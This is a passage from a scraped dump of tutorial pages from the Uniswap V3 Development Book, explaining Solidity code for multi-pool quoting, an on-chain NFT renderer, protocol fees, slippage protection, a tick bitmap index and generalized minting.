spacing in the parameters. // src/UniswapV3Quoter.sol struct QuoteSingleParams { address tokenIn; address tokenOut; uint24 tickSpacing; uint256 amountIn; uint160 sqrtPriceLimitX96; } function quoteSingle (QuoteSingleParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... And the only change we have in the body of the function is usage of getPool to find the pool address: ... IUniswapV3Pool pool = getPool( params.tokenIn, params.tokenOut, params.tickSpacing ); bool zeroForOne = params.tokenIn < params.tokenOut; ... Multi-pool Quoting # Multi-pool quoting implementation is similar to the multi-pool swapping one, but it uses fewer parameters. function quote ( bytes memory path, uint256 amountIn) public returns ( uint256 amountOut, uint160 [] memory sqrtPriceX96AfterList, int24 [] memory tickAfterList ) { sqrtPriceX96AfterList = new uint160 [](path.numPools()); tickAfterList = new int24 [](path.numPools()); ... As parameters, we only need input amount and swap path. The function returns similar values as quoteSingle , but price after and tick after are collected after each swap, thus we need to returns arrays. uint256 i = 0 ; while ( true ) { ( address tokenIn, address tokenOut, uint24 tickSpacing) = path .decodeFirstPool(); ( uint256 amountOut_, uint160 sqrtPriceX96After, int24 tickAfter ) = quoteSingle( QuoteSingleParams({ tokenIn : tokenIn, tokenOut : tokenOut, tickSpacing : tickSpacing, amountIn : amountIn, sqrtPriceLimitX96 : 0 }) ); sqrtPriceX96AfterList[i] = sqrtPriceX96After; tickAfterList[i] = tickAfter; amountIn = amountOut_; i ++ ; if (path.hasMultiplePools()) { path = path.skipToken(); } else { amountOut = amountIn; break ; } } The logic of the loop is identical to the one in the updated swap function: get current pools parameters; call quoteSingle on current pool; save returned values; repeat if therere more pools in the path, or return otherwise. Multi-pool Swaps Updating Manager Contract Single-pool and Multi-pool Swaps Core Swapping Logic Single-pool Swapping Multi-pool Swapping Swap Callback Updating Quoter Contract Single-pool Quoting Multi-pool Quoting", - "labels": [ - "Documentation" - ] - }, - { - "title": "NFT Renderer #", - "html_url": "https://uniswapv3book.com/docs/milestone_6/nft-renderer/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer NFT Renderer NFT Renderer SVG Template Dependencies Format of the Result Implementing the Renderer SVG Rendering JSON Rendering Filling the Gap in tokenURI Gas Costs Testing NFT Renderer # Now we need to build an NFT renderer: a library that will handle calls to tokenURI in the NFT manager contract. It will render JSON metadata and an SVG for each minted token. As we discussed earlier, well use the data URI format, which requires base64 encodingthis means well need a base64 encoder in Solidity. But first, lets look at what our tokens will look like. SVG Template # I built this simplified variation of the Uniswap V3 NFTs: This is what its code looks like; WETH/USDC 0.05% Lower tick: 123456 Upper tick: 123456 This is a simple SVG template, and were going to make a Solidity contract that fills the fields in this template and returns it in tokenURI . The fields that will be filled uniquely for each token: the color of the background, which is set in the first two rect s; the hue component (330 in the template) will be unique for each token; the names of the tokens of a pool the position belongs to (WETH/USDC in the template); the fee of a pool (0.05%); tick values of the boundaries of the position (123456). Here are examples of NFTs our contract will be able to produce: Dependencies # Solidity doesnt provide native Base64 encoding tool so well use a third-party one. Specifically, well use the one from OpenZeppelin . Another tedious thing about Solidity is that is has very poor support for operations with strings. For example, theres no way to convert integers to stringsbut we need that to render pool fee and position ticks in the SVG template. Well use the Strings library from OpenZeppelin to do that. Format of the Result # The data produced by the renderer will have this format: data:application/json;base64,BASE64_ENCODED_JSON The JSON will look like that: { \"name\" : \"Uniswap V3 Position\" , \"description\" : \"USDC/DAI 0.05%, Lower tick: -520, Upper text: 490\" , \"image\" : \"BASE64_ENCODED_SVG\" } The image will be the above SVG template filled with position data and encoded in Base64. Implementing the Renderer # Well implement the renderer in a separate library contract to not make the NFT manager contract too noisy: library NFTRenderer { struct RenderParams { address pool; address owner; int24 lowerTick; int24 upperTick; uint24 fee; } function render (RenderParams memory params) { ... } } In the render function, well first render an SVG, then a JSON. To keep the code cleaner, well break down each step into smaller steps. We begin with fetching token symbols: function render (RenderParams memory params) { IUniswapV3Pool pool = IUniswapV3Pool(params.pool); IERC20 token0 = IERC20(pool.token0()); IERC20 token1 = IERC20(pool.token1()); string memory symbol0 = token0.symbol(); string memory symbol1 = token1.symbol(); ... SVG Rendering # Then we can render the SVG template: string memory image = string .concat( \"\" , \"\" , renderBackground(params.owner, params.lowerTick, params.upperTick), renderTop(symbol0, symbol1, params.fee), renderBottom(params.lowerTick, params.upperTick), \"\" ); The template is broken down into multiple steps: first comes the header, which includes the CSS styles; then the background is rendered; then the top position information is rendered (token symbols and fee); finally, the bottom information is rendered (position ticks). The background is simply two rect s. To render them we need to find the unique hue of this token and then we concatenate all the pieces together: function renderBackground ( address owner, int24 lowerTick, int24 upperTick ) internal pure returns ( string memory background) { bytes32 key = keccak256(abi.encodePacked(owner, lowerTick, upperTick)); uint256 hue = uint256 (key) % 360 ; background = string .concat( '' , '' ); } The top template renders token symbols and pool fee: function renderTop ( string memory symbol0, string memory symbol1, uint24 fee ) internal pure returns ( string memory top) { top = string .concat( '' , '' , symbol0, \"/\" , symbol1, \"\" '' , '' , feeToText(fee), \"\" ); } Fees are rendered as numbers with a fractional part. Since all possible fees are known in advance we dont need to convert integers to fractional numbers and can simply hardcode the values: function feeToText ( uint256 fee) internal pure returns ( string memory feeString) { if (fee == 500 ) { feeString = \"0.05%\" ; } else if (fee == 3000 ) { feeString = \"0.3%\" ; } } In the bottom part we render position ticks: function renderBottom ( int24 lowerTick, int24 upperTick) internal pure returns ( string memory bottom) { bottom = string .concat( '' , 'Lower tick: ' , tickToText(lowerTick), \"\" , '' , 'Upper tick: ' , tickToText(upperTick), \"\" ); } Since ticks can be positive and negative, we need to render them properly (with or without the minus sign): function tickToText ( int24 tick) internal pure returns ( string memory tickString) { tickString = string .concat( tick < 0 ? \"-\" : \"\" , tick < 0 ? Strings.toString( uint256 ( uint24 ( - tick))) : Strings.toString( uint256 ( uint24 (tick))) ); } JSON Rendering # Now, lets return to the render function and render the JSON. First, we need to render a token description: function render (RenderParams memory params) { ... SVG rendering ... string memory description = renderDescription( symbol0, symbol1, params.fee, params.lowerTick, params.upperTick ); ... Token description is a text string that contains all the same information that we render in tokens SVG: function renderDescription ( string memory symbol0, string memory symbol1, uint24 fee, int24 lowerTick, int24 upperTick ) internal pure returns ( string memory description) { description = string .concat( symbol0, \"/\" , symbol1, \" \" , feeToText(fee), \", Lower tick: \" , tickToText(lowerTick), \", Upper text: \" , tickToText(upperTick) ); } We can now assemble the JSON metadata: function render (RenderParams memory params) { string memory image = ...SVG rendering... string memory description = ...description rendering... string memory json = string .concat( '{\"name\":\"Uniswap V3 Position\",' , '\"description\":\"' , description, '\",' , '\"image\":\"data:image/svg+xml;base64,' , Base64.encode( bytes (image)), '\"}' ); And, finally, we can return the result: return string .concat( \"data:application/json;base64,\" , Base64.encode( bytes (json)) ); Filling the Gap in tokenURI # Now were ready to return to the tokenURI function in the NFT manager contract and add the actual rendering: function tokenURI ( uint256 tokenId) public view override returns ( string memory ) { TokenPosition memory tokenPosition = positions[tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); return NFTRenderer.render( NFTRenderer.RenderParams({ pool : tokenPosition.pool, owner : address (this), lowerTick : tokenPosition.lowerTick, upperTick : tokenPosition.upperTick, fee : pool.fee() }) ); } Gas Costs # With all its benefits, storing data on-chain has a huge disadvantage: contract deployments become very expensive. When deploying a contract, you pay for the size of the contract, and all the strings and templates increase gas spending significantly. This gets even worse the more advanced your SVGs are: the more there are shapes, CSS styles, animations, etc. the more expensive it gets. Keep in mind that the NFT renderer we implemented above is not gas optimized: you can see the repetitive rect and text tag strings that can be extracted into internal functions. I sacrificed gas efficiency for the readability of the contract. In real NFT projects that store all data on-chain, code readability is usually very poor due to heavy gas cost optimizations. Testing # The last thing I wanted to focus here is how we can test the NFT images. Its very important to keep all changes in NFT images tracked to ensure no change breaks rendering. For this, we need a way to test the output of tokenURI and its different variations (we can even pre-render the whole collection and have tests to ensure no image get broken during development). To test the output of tokenURI , I added this custom assertion: assertTokenURI( nft.tokenURI(tokenId0), \"tokenuri0\" , \"invalid token URI\" ); The first argument is the actual output and the second argument is the name of the file that stores the expected one. The assertion loads the content of the file and compares it with the actual one: function assertTokenURI ( string memory actual, string memory expectedFixture, string memory errMessage ) internal { string memory expected = vm.readFile( string .concat( \"./test/fixtures/\" , expectedFixture) ); assertEq(actual, string (expected), errMessage); } We can do this in Solidity thanks to the vm.readFile() cheat code provided by forge-std library, which is a helper library that comes with Forge. Not only this is simple and convenient, this is also secure: we can configure filesystem permissions to allow only permitted file operations. Specifically, to make the above test work, we need to add this fs_permissions rule to foundry.toml : fs_permissions = [{ access = 'read' , path = '.' }] And this is how you can read the SVG from a tokenURI fixture: $ cat test/fixtures/tokenuri0 \\ | awk -F ',' '{print $2}' \\ | base64 -d - \\ | jq -r .image \\ | awk -F ',' '{print $2}' \\ | base64 -d - > nft.svg \\ && open nft.svg Ensure you have jq tool installed. NFT Renderer SVG Template Dependencies Format of the Result Implementing the Renderer SVG Rendering JSON Rendering Filling the Gap in tokenURI Gas Costs Testing", - "labels": [ - "Documentation" - ] - }, - { - "title": "Protocol Fees #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/protocol-fees/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Protocol Fees Protocol Fees Protocol Fees # While working on the Uniswap implementation, youve probably asked yourself, How does Uniswap make money? Well, it doesnt (at least as of September 2022). In the implementation weve built so far, traders pay liquidity providers for providing liquidity, and Uniswap Labs, as the company that developed the DEX, is not part of this process. Neither traders, nor liquidity providers pay Uniswap Labs for using the Uniswap DEX. How come? In fact, theres a way for Uniswap Labs to start making money on the DEX. However, the mechanism hasnt been enabled yet (again, as of September 2022). Each Uniswap pool has protocol fees collection mechanism. Protocol fees are collected from swap fees: a small portion of swap fees is subtracted and saved as protocol fees to later be collected by Factory contract owner (Uniswap Labs). The size of protocol fees is expected to be determined by UNI token holders, but it must be between $1/4$ and $1/10$ (inclusive) of swap fees. For brevity, were not going to add protocol fees to our implementation, but lets see how theyre implemented in Uniswap. Protocol fee size is stored in slot0 : // UniswapV3Pool.sol struct Slot0 { ... // the current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; ... } And a global accumulator is needed to track accrued fees: // accumulated protocol fees in token0/token1 units struct ProtocolFees { uint128 token0; uint128 token1; } ProtocolFees public override protocolFees; Protocol fees are set in the setFeeProtocol function: function setFeeProtocol ( uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner { require( (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10 )) && (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10 )) ); uint8 feeProtocolOld = slot0.feeProtocol; slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4 ); emit SetFeeProtocol(feeProtocolOld % 16 , feeProtocolOld >> 4 , feeProtocol0, feeProtocol1); } As you can see, its allowed to set protocol fees separate for each of the tokens. The values are two uint8 that are packed to be stored in one uint8 : feeProtocol1 is shifted to the left by 4 bits (this is identical to multiplying it by 16) and added to feeProtocol0 . To unpack feeProtocol0 , a remainder of division slot0.feeProtocol by 16 is taken; feeProtocol1 is simply shifting slot0.feeProtocol to the right by 4 bits. Such packing works because neither feeProtocol0 , nor feeProtocol1 can be greater than 10. Before beginning a swap, we need to choose one of the protocol fees depending on swap direction (swap and protocol fees are collected on input tokens): function swap (...) { ... uint8 feeProtocol = zeroForOne ? (slot0_.feeProtocol % 16 ) : (slot0_.feeProtocol >> 4 ); ... To accrue protocol fees, we subtract them from swap fees right after computing swap step amounts: ... while (...) { (..., step.feeAmount) = SwapMath.computeSwapStep(...); if (cache.feeProtocol > 0 ) { uint256 delta = step.feeAmount / cache.feeProtocol; step.feeAmount -= delta; state.protocolFee += uint128 (delta); } ... } ... After a swap is done, the global protocol fees accumulator needs to be updated: if (zeroForOne) { if (state.protocolFee > 0 ) protocolFees.token0 += state.protocolFee; } else { if (state.protocolFee > 0 ) protocolFees.token1 += state.protocolFee; } Finally, Factory contract owner can collect accrued protocol fees by calling collectProtocol : function collectProtocol ( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external override lock onlyFactoryOwner returns ( uint128 amount0, uint128 amount1) { amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested; amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested; if (amount0 > 0 ) { if (amount0 == protocolFees.token0) amount0 -- ; protocolFees.token0 -= amount0; TransferHelper.safeTransfer(token0, recipient, amount0); } if (amount1 > 0 ) { if (amount1 == protocolFees.token1) amount1 -- ; protocolFees.token1 -= amount1; TransferHelper.safeTransfer(token1, recipient, amount1); } emit CollectProtocol(msg.sender, recipient, amount0, amount1); } \\[ \\] Protocol Fees", - "labels": [ - "Documentation" - ] - }, - { - "title": "Slippage Protection #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/slippage-protection/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Slippage Protection Slippage Protection Slippage Protection in Swaps Slippage Protection in Minting Slippage Protection # Slippage is a very important issued in decentralized exchanges. Slippage simply means the difference between the price that you see on the screen when initialing a transaction and the actual price the swap is executed at. This difference appears because theres a short (and sometimes long, depending on network congestion and gas costs) delay between when you send a transaction and when it gets mined. In more technical terms, blockchain state changes every block and theres no guarantee that your transaction will be applied at a specific block. Another important problem that slippage protection fixes is sandwich attacks this is a common type of attacks on decentralized exchange users. During sandwiching, attackers wrap your swap transactions in their two transactions: one goes before your transaction and the other goes after it. In the first transaction, an attacker modifier the state of a pool so that your swap becomes very unprofitable for you and somewhat profitable for the attacker. This is achieved by adjusting pool liquidity so that your trade happens at a lower price. In the second transaction, the attacker reestablishes pool liquidity and the price. As a result, you get much less tokens than expected due to manipulated prices, and the attacker get some profit. The way slippage protection is implemented in decentralized exchanges is by letting user choose how far the actual price is allowed to drop. By default, Uniswap V3 sets slippage tolerance to 0.1%, which means a swap is executed only if the price at the moment of execution is not smaller than 99.9% of the price the user saw in the browser. This is a very tight range and users are allowed to adjust this number, which is useful when volatility is high. Lets add slippage protection to our implementation! Slippage Protection in Swaps # To protect swaps, we need to add one more parameter to swap functionwe want to let user choose a stop price, a price at which swapping will stop. Well call the parameter sqrtPriceLimitX96 : function swap ( address recipient, bool zeroForOne, uint256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) public returns ( int256 amount0, int256 amount1) { ... if ( zeroForOne ? sqrtPriceLimitX96 > slot0_.sqrtPriceX96 || sqrtPriceLimitX96 < TickMath.MIN_SQRT_RATIO : sqrtPriceLimitX96 < slot0_.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MAX_SQRT_RATIO ) revert InvalidPriceLimit(); ... When selling token $x$ ( zeroForOne is true), sqrtPriceLimitX96 must be between the current price and the minimal $\\sqrt{P}$ since selling token $x$ moves the price down. Likewise, when selling token $y$, sqrtPriceLimitX96 must be between the current price and the maximal $\\sqrt{P}$ because price moves up. In the while loop, we want to satisfy two conditions: full swap amount has not been filled and current price isnt equal to sqrtPriceLimitX96 : .. while ( state.amountSpecifiedRemaining > 0 && state.sqrtPriceX96 != sqrtPriceLimitX96 ) { ... Which means that Uniswap V3 pools dont fail when slippage tolerance gets hit and simply executes swap partially. Another place where we need to consider sqrtPriceLimitX96 is when calling SwapMath.computeSwapStep : (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath .computeSwapStep( state.sqrtPriceX96, ( zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96 ) ? sqrtPriceLimitX96 : step.sqrtPriceNextX96, state.liquidity, state.amountSpecifiedRemaining ); Here, we want to ensure that computeSwapStep never calculates swap amounts outside of sqrtPriceLimitX96 this guarantees that the current price will never cross the limiting price. Slippage Protection in Minting # Adding liquidity also requires slippage protection. This comes from the fact that price cannot be changed when adding liquidity (liquidity must be proportional to current price), thus liquidity providers also suffer from slippage. Unlike swap function however, were not forced to implement slippage protection in Pool contractrecall that Pool contract is a core contract and we dont want to put unnecessary logic into it. This is why we made the Manager contract, and its in the Manager contract where well implement slippage protection. The Manager contract is a wrapper contract that makes calls to Pool contract more convenient. To implement slippage protection in the mint function, we can simply check the amounts of tokens taken by Pool and compare them to some minimal amounts chosen by user. Additionally, we can free users from calculating $\\sqrt{P_{lower}}$ and $\\sqrt{P_{upper}}$, as well as liquidity, and calculate these in Manager.mint() . Our updated mint function will now take more parameters, so lets group them in a struct: // src/UniswapV3Manager.sol contract UniswapV3Manager { struct MintParams { address poolAddress; int24 lowerTick; int24 upperTick; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; } function mint (MintParams calldata params) public returns ( uint256 amount0, uint256 amount1) { ... amount0Min and amount1Min are the amounts that are calculated based on slippage tolerance. They must be smaller than the desired amounts, with the gap controlled by the slippage tolerance setting. Liquidity provider expect to provide amounts not smaller than amount0Min and amount1Min . Next, we calculate $\\sqrt{P_{lower}}$, $\\sqrt{P_{upper}}$, and liquidity: ... IUniswapV3Pool pool = IUniswapV3Pool(params.poolAddress); ( uint160 sqrtPriceX96, ) = pool.slot0(); uint160 sqrtPriceLowerX96 = TickMath.getSqrtRatioAtTick( params.lowerTick ); uint160 sqrtPriceUpperX96 = TickMath.getSqrtRatioAtTick( params.upperTick ); uint128 liquidity = LiquidityMath.getLiquidityForAmounts( sqrtPriceX96, sqrtPriceLowerX96, sqrtPriceUpperX96, params.amount0Desired, params.amount1Desired ); ... LiquidityMath.getLiquidityForAmounts is a new function, well discuss it in the next chapter. Next step is to provide liquidity to the pool and check the amounts returned by the pool: if theyre too low, we revert. (amount0, amount1) = pool.mint( msg.sender, params.lowerTick, params.upperTick, liquidity, abi.encode( IUniswapV3Pool.CallbackData({ token0 : pool.token0(), token1 : pool.token1(), payer : msg.sender }) ) ); if (amount0 < params.amount0Min || amount1 < params.amount1Min) revert SlippageCheckFailed(amount0, amount1); Thats it! \\[ \\] Slippage Protection Slippage Protection in Swaps Slippage Protection in Minting", - "labels": [ - "Documentation" - ] - }, - { - "title": "Tick Bitmap Index #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/tick-bitmap-index/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tick Bitmap Index Tick Bitmap Index Bitmap TickBitmap Contract Flipping Flags Finding Next Tick Tick Bitmap Index # As the first step towards dynamic swaps, we need to implement an index of ticks. In the previous milestone, we used to calculate the target tick when making a swap: function swap ( address recipient, bytes calldata data) public returns ( int256 amount0, int256 amount1) { int24 nextTick = 85184 ; ... } When theres liquidity provided in different price ranges, we cannot simply calculate the target tick. We need to find it . Thus, we need to index all ticks that have liquidity and then use the index to find ticks to inject enough liquidity for a swap. In this step, were going to implement such index. Bitmap # Bitmap is a popular technique of indexing data in a compact way. A bitmap is simply a number represented in the binary system, e.g. 31337 is 111101001101001 . We can look at it as an array of zeros and ones, with each digit having an index. We then say that 0 means a flag is not set and 1 means its set. So what we get is a very compact array of indexed flags: each byte can fit 8 flags. In Solidity, we can have integers up to 256 bits, which means one uint256 can hold 256 flags. Uniswap V3 uses this technique to store the information about initialized ticks, that is ticks with some liquidity. When a flag is set (1), the tick has liquidity; when a flag is not set (0), the tick is not initialized. Lets look at the implementation. TickBitmap Contract # In the pool contract, the tick index is stored in a state variable: contract UniswapV3Pool { using TickBitmap for mapping ( int16 => uint256 ); mapping ( int16 => uint256 ) public tickBitmap; ... } This is mapping where keys are int16 s and values are words ( uint256 ). Imagine an infinite continuous array of ones and zeros: Each element in this array corresponds to a tick. To navigate in this array, we break it into words: sub-arrays of length 256 bits. To find ticks position in this array, we do: function position ( int24 tick) private pure returns ( int16 wordPos, uint8 bitPos) { wordPos = int16 (tick >> 8 ); bitPos = uint8 ( uint24 (tick % 256 )); } That is: we find its word position and then its bit in this word. >> 8 is identical to integer division by 256. So, word position is the integer part of a tick index divided by 256, and bit position is the remainder. As an example, lets calculate word and bit positions for one of our ticks: tick = 85176 word_pos = tick >> 8 # or tick // 2**8 bit_pos = tick % 256 print( f \"Word { word_pos } , bit { bit_pos } \" ) # Word 332, bit 184 Flipping Flags # When adding liquidity into a pool, we need to set a couple of tick flags in the bitmap: one for the lower tick and one for the upper tick. We do this in flipTick method of the bitmap mapping: function flipTick ( mapping ( int16 => uint256 ) storage self, int24 tick, int24 tickSpacing ) internal { require(tick % tickSpacing == 0 ); // ensure that the tick is spaced ( int16 wordPos, uint8 bitPos) = position(tick / tickSpacing); uint256 mask = 1 << bitPos; self[wordPos] ^= mask; } Until later in the book, tickSpacing is always 1. After finding word and bit positions, we need to make a mask. A mask is a number that has a single 1 flag set at the bit position of the tick. To find the mask, we simply calculate 2**bit_pos (equivalent of 1 << bit_pos ): mask = 2 ** bit_pos # or 1 << bit_pos print(bin(mask)) #0b10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Next, to flip a flag, we apply the mask to the ticks word via bitwise XOR: word = ( 2 ** 256 ) - 1 # set word to all ones print(bin(word ^ mask)) here #0b1111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Youll see that 184th bit (counting from the right starting at 0) has flipped to 0. If a bit is zero, itll set it to 1: word = 0 print(bin(word ^ mask)) #0b10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Finding Next Tick # Next step is finding ticks with liquidity using the bitmap index. During swapping, we need to find a tick with liquidity thats before or after the current tick (that is: to the left or to the right of it). In the previous milestone, we used to calculate and hard code it , but now we need to find such tick using the bitmap index. Well do this in the TickBitmap.nextInitializedTickWithinOneWord function. In this function, well need to implement two scenarios: When selling token $x$ (ETH in our case), find next initialized tick in the current ticks word and to the right of the current tick. When selling token $y$ (USDC in our case), find next initialized tick in the next (current + 1) ticks word and to the left of the current tick. This corresponds to the price movement when making swaps in either directions: Be aware that, in the code, the direction is flipped: when buying token $x$, we search for initialized ticks to the left of the current; when selling token $x$, we search ticks to the right . But this is only true within a word; words are ordered from left to right. When theres no initialized tick in the current word, well continue searching in an adjacent word in the next loop cycle. Now, lets look at the implementation: function nextInitializedTickWithinOneWord ( mapping ( int16 => uint256 ) storage self, int24 tick, int24 tickSpacing, bool lte ) internal view returns ( int24 next, bool initialized) { int24 compressed = tick / tickSpacing; ... First arguments makes this function a method of mapping(int16 => uint256) . tick is the current tick. tickSpacing is always 1 until we start using it in Milestone 4. lte is the flag that sets the direction. When true , were selling token $x$ and searching for next initialized tick to the right of the current one. When false, its the other way around. lte equals to the swap direction: true when selling token $x$, false otherwise. if (lte) { ( int16 wordPos, uint8 bitPos) = position(compressed); uint256 mask = ( 1 << bitPos) - 1 + ( 1 << bitPos); uint256 masked = self[wordPos] & mask; ... When selling $x$, were: taking current ticks word and bit positions; making a mask where all bits to the right of the current bit position, including it, are ones ( mask is all ones, its length = bitPos ); applying the mask to the current ticks word. ... initialized = masked != 0 ; next = initialized ? (compressed - int24 ( uint24 (bitPos - BitMath.mostSignificantBit(masked)))) * tickSpacing : (compressed - int24 ( uint24 (bitPos))) * tickSpacing; ... Next, masked wont equal 0 if at least one bit of it is set to 1. If so, theres an initialized tick; if not, there isnt (not in the current word). Depending on the result, we either return the index of the next initialized tick or the leftmost bit in the next wordthis will allow to search for initialized ticks in the word during another loop cycle. ... } else { ( int16 wordPos, uint8 bitPos) = position(compressed + 1 ); uint256 mask = ~ (( 1 << bitPos) - 1 ); uint256 masked = self[wordPos] & mask; ... Similarly, when selling $y$, were: taking next ticks word and bit positions; making a different mask, where all bits to the left of next tick bit position are ones and all the bits to the right are zeros; applying the mask to the next ticks word. Again, if theres no initialized ticks to the left, the rightmost bit of the previous word is returned: ... initialized = masked != 0 ; // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick next = initialized ? (compressed + 1 + int24 ( uint24 ((BitMath.leastSignificantBit(masked) - bitPos)))) * tickSpacing : (compressed + 1 + int24 ( uint24 ((type( uint8 ).max - bitPos)))) * tickSpacing; } And thats it! As you can see, nextInitializedTickWithinOneWord doesnt find the exact tick if its far awayits scope of search is current or next ticks word. Indeed, we dont want to iterate over the infinite bitmap index. \\[ \\] Tick Bitmap Index Bitmap TickBitmap Contract Flipping Flags Finding Next Tick", - "labels": [ - "Documentation" - ] - }, - { - "title": "Generalize Minting #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/generalize-minting/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Generalize Minting Generalize Minting Indexing Initialized Ticks Token Amounts Calculation Generalize Minting # Now, were ready to update mint function so we dont need to hard code values anymore and can calculate them instead. Indexing Initialized Ticks # Recall that, in the mint function, we update the TickInfo mapping to store information about available liquidity at ticks. Now, we also need to index newly initialized ticks in the bitmap indexwell later use this index to find next initialized tick during swapping. First, we need to update Tick.update function: // src/lib/Tick.sol function update ( mapping ( int24 => Tick.Info) storage self, int24 tick, uint128 liquidityDelta ) internal returns ( bool flipped) { ... flipped = (liquidityAfter == 0 ) != (liquidityBefore == 0 ); ... } It now returns flipped flag, which is set to true when liquidity is added to an empty tick or when entire liquidity is removed from a tick. Then, in mint function, we update the bitmap index: // src/UniswapV3Pool.sol ... bool flippedLower = ticks.update(lowerTick, amount); bool flippedUpper = ticks.update(upperTick, amount); if (flippedLower) { tickBitmap.flipTick(lowerTick, 1 ); } if (flippedUpper) { tickBitmap.flipTick(upperTick, 1 ); } ... Again, were setting tick spacing to 1 until we introduce different values in Milestone 4. Token Amounts Calculation # The biggest change in mint function is switching to tokens amount calculation. In Milestone 1, we hard coded these values: amount0 = 0 . 998976618347425280 ether ; amount1 = 5000 ether ; And now were going to calculate them in Solidity using formulas from Milestone 1. Lets recall those formulas: $$\\Delta x = \\frac{L(\\sqrt{p(i_u)} - 